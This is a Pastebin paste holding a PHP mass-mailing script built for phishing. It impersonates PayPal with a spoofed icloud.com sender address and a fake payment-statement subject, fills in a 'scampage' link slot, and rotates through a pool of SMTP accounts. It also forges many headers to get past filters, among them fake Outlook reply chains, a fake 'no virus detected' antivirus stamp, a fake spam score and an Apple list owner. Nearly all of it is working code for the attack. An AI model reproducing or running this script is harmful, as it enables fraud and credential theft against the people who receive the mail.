Guest User

Untitled

a guest
Jun 24th, 2018
1,199
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.80 KB | None | 0 0
  1. <?php
  2.  
  3. /**
  4. * @Author: Panji Dwi Setiawan
  5. * @Date: 2017-09-14 07:49:43
  6. * @Last Modified by: Panji Dwi Setiawan
  7. * @Last Modified time: 2018-03-21 20:37:55
  8. */
  9.  
  10. require_once("setting/phpmailer/PHPMailerAutoload.php");
  11. include('setting/function.php');
  12. include('setting/stillku.php');
  13. include('setting/smtp.php');
  14.  
  15.  
  16. date_default_timezone_set('America/New_York');
  17. $date = date('F d, Y, h:i A T');
  18.  
  19.  
  20. /* Features SETUP */
  21.  
  22. $anugan = [
  23. "priority" => 0,
  24. "userandom" => 0,
  25. "sleeptime" => 6,
  26. "replacement" => 1,
  27. "filesend" => 1,
  28. "userremoveline" => 1,
  29. "mail_list" => "file/maillist/test.txt",
  30. "fromname" => "PayPal",
  31. "frommail" => "no-reply.customer@billing.".strtolower(RandString(7)).".icloud.com",
  32. //"frommail" => "noreply." .strtolower(RandString1(4)).".account." .strtolower(RandString1(7)).".".(RandString1(4))."@intl.".strtolower(RandString1(11)).".icloud.com",
  33. "subject" => "Re [Reports Updates Statement] : Reports Statement Activity Payment Update Confirmation Transaction On 06/23/18" ,
  34. "msgfile" => "file/letter/1.html",
  35. "filepdf" => "file/attachment/logo.ico",
  36. "scampage" => ["https://google.com"],
  37. ];
  38.  
  39. function Kirim($email, $smtp_acc, $anugan)
  40. {
  41.  
  42. $euew = new MoneyhunterModules;
  43. $smtp = new SMTP;
  44. $smtp->do_debug = 0;
  45.  
  46. $smtpserver = $smtp_acc['host'];
  47. $smtpport = $smtp_acc['port'];
  48. $smtpuser = $smtp_acc['username'];
  49. $smtppass = $smtp_acc['password'];
  50. $priority = $anugan['priority'];
  51. $userandom = $anugan['userandom'];
  52. $sleeptime = $anugan['sleeptime'];
  53. $replacement = $anugan['replacement'];
  54. $userremoveline = $anugan['userremoveline'];
  55. $fromname = $anugan['fromname'];
  56. $frommail = $anugan['frommail'];
  57. $subject = $anugan['subject'];
  58. $msgfile = $anugan['msgfile'];
  59. $filepdf = $anugan['filesend'];
  60. $randurl = $anugan['scampage'];
  61.  
  62. if (!$smtp->connect($smtpserver, $smtpport)) {
  63. throw new Exception('Connect failed');
  64. }
  65.  
  66. //Say hello
  67. if (!$smtp->hello(gethostname())) {
  68. throw new Exception('EHLO failed: ' . $smtp->getError()['error']);
  69. }
  70.  
  71. $e = $smtp->getServerExtList();
  72.  
  73. if (array_key_exists('STARTTLS', $e)) {
  74. $tlsok = $smtp->startTLS();
  75. if (!$tlsok) {
  76. throw new Exception('Failed to start encryption: ' . $smtp->getError()['error']);
  77. }
  78. if (!$smtp->hello(gethostname())) {
  79. throw new Exception('EHLO (2) failed: ' . $smtp->getError()['error']);
  80. }
  81. $e = $smtp->getServerExtList();
  82. }
  83.  
  84. if (array_key_exists('AUTH', $e)) {
  85.  
  86. if ($smtp->authenticate($smtpuser, $smtppass)) {
  87. $priority = 0;
  88.  
  89. $mail = new PHPMailer;
  90.  
  91. $mail->Encoding = 'base64'; // 8bit base64 multipart/alternative quoted-printable
  92. $mail->CharSet = 'UTF-8';
  93. $mail->headerLine("format", "flowed");
  94. $mail->clearAddresses();
  95. $mail->clearCustomHeaders();
  96. $mail->clearAllRecipients();
  97. if ($priority == 1) {
  98. $mail->AddCustomHeader("Importance: High");
  99. }
  100.  
  101.  
  102. //$mail->addCustomHeader('X-IncomingTopHeaderMarker', 'OriginalChecksum:CF8629943C45564072C26D998C726EB4523C9D11E9BB59BA16715C6637D8F29B;UpperCasedChecksum:C40D3A50581619E3B3019978BB1E9A5A9DFCB042F62FC3FFF6D90F23BBF77F8D;SizeAsReceived:1562;Count:13');
  103.  
  104.  
  105. $mail->addCustomHeader('Message-ID' , '<'.strtoupper($euew->random_text('textnumrandom', 13)).'.'.strtoupper($euew->random_text('textnumrandom', 15)).'@'.strtoupper($euew->random_text('textnumrandom', 16)).'>');
  106. $mail->addCustomHeader('In-Reply-To','<'.strtoupper($euew->random_text('textnumrandom', 40)).'@'.strtoupper($euew->random_text('textnumrandom', 16)).'.apcprd06.prod.outlook.com>');
  107. $mail->addCustomHeader('References','<'.strtoupper($euew->random_text('textnumrandom', 40)).'@'.strtoupper($euew->random_text('textnumrandom', 16)).'.apcprd06.prod.outlook.com>'.' <'.strtoupper($euew->random_text('textnumrandom', 40)).'@'.strtoupper($euew->random_text('textnumrandom', 16)).'.apcprd06.prod.outlook.com>');
  108. $mail->addCustomHeader('x-store-info' , 'fHNTDlzCF8Nxw6HwcfGQy53J+UiHye5/BbIMOcvCmV/AccExcduzkDAET4AFwCVxlf7KErsVxCQQGpZE9WJSumOOFBAzp noysa67yQdzNlUOBnHjsyzfTNKUjiNxQM8XlYO0pZKKCC8CC7a G+jrpFQ==');
  109. $mail->addCustomHeader('X-MSAPipeline', 'MessageDispatcherEOP');
  110. $mail->addCustomHeader('X-BO1-SAF2-RCPT-Passed' , 'Yes');
  111. $mail->addCustomHeader('X-Antivirus-Scanner' , 'ClamAV - No Detected Virus, though you should still use a Local Antivirus on your computer.');
  112. $mail->addCustomHeader('X-Scanned-By' , 'Tzolkin-Spam-Scanner');
  113. $mail->addCustomHeader('X-Spam-Status: No' , 'score=3.0 required=5.0 tests=BAYES_50,HTML_MESSAGE, UNPARSEABLE_RELAY autolearn=no version=3.3.1');
  114. $mail->addCustomHeader('Content-type', "text/calendar; method=REQUEST; charset=UTF-8");
  115. $mail->addCustomHeader('Content-Transfer-Encoding', "8bit");
  116. $mail->addCustomHeader("Content-class: urn:content-classes:calendarmessage");
  117. $mail->addCustomHeader('X-MS-Exchange-Organization-ExpirationStartTimeReason:' , 'Original Submit');
  118. $mail->addCustomHeader('X-MS-Exchange-Organization-ExpirationIntervalReason:' , '11 May 2018 19:50:03.5663');
  119. $mail->addCustomHeader('X-Sender' , 'Ipad Mail '.$euew->versi()." (https://klikbca.com)");
  120. $mail->addCustomHeader("List-Owner", "<mailto:customer@apple.com>");
  121. $mail->do_debug = 1;
  122. $mail->IsSMTP();
  123. $mail->SMTPAuth = true;
  124. $mail->Host = $smtpserver;
  125. $mail->Port = $smtpport;
  126. $mail->Priority = $priority;
  127. $mail->Username = $smtpuser;
  128. $mail->Password = $smtppass;
  129.  
  130.  
  131. if ($userandom == 1) {
  132. $rand = rand(1, 50);
  133. $fromname = randName($rand);
  134. $frommail = randMail($rand);
  135. $subject = randSubject($rand);
  136. }
  137.  
  138. if ($anugan['filesend'] == 0) {
  139. $filepdf = file_get_contents($AddAttachment);
  140. $mail->AddAttachment($filepdf);
  141. }
  142.  
  143. $asu = RandString1(20);
  144. $asu1 = RandString1(20);
  145. $asu2 = RandString1(5);
  146. $nmbr = RandNumber(5);
  147. $fromnames = str_replace('##randstring##', $asu1, $fromname);
  148. $frommails = str_replace('##randstring##', $asu, $frommail);
  149. $subjects = str_replace('##randstring##', $asu2, $subject);
  150.  
  151. $mail->setFrom($frommails, $fromnames);
  152.  
  153.  
  154. $mail->AddAddress($email);
  155.  
  156. $mail->Subject = $subjects;
  157. if ($replacement == 1) {
  158. $msg = lettering($msgfile, $email, $frommail, $fromname, $randurl, $subject);
  159. } else {
  160. $msg = file_get_contents($msgfile);
  161. }
  162.  
  163. $mail->msgHTML($msg);
  164.  
  165. if (!$mail->send()) {
  166. echo json_encode([
  167. 'error' => 'failed',
  168. 'from' => $smtpuser
  169. ]);
  170. exit();
  171. } else {
  172. $info = "Send To : ".$email." | Send From : ".$smtpuser;
  173. echo json_encode([
  174. 'error' => 'success',
  175. 'info' => $info,
  176. 'from' => $smtpuser
  177. ]);
  178. }
  179. $mail->clearAddresses();
  180.  
  181. } else {
  182. //
  183. echo json_encode([
  184. 'error' => 'failed',
  185. 'from' => $smtpuser
  186. ]);
  187. }
  188. $smtp->quit(true);
  189. }
  190.  
  191. }
  192. $email = @$_GET['email'];
  193. $smtp_key = rand(0, (count($smtp_acc)-1));
  194. Kirim($email, $smtp_acc[$smtp_key], $anugan);
Add Comment
Please, Sign In to add comment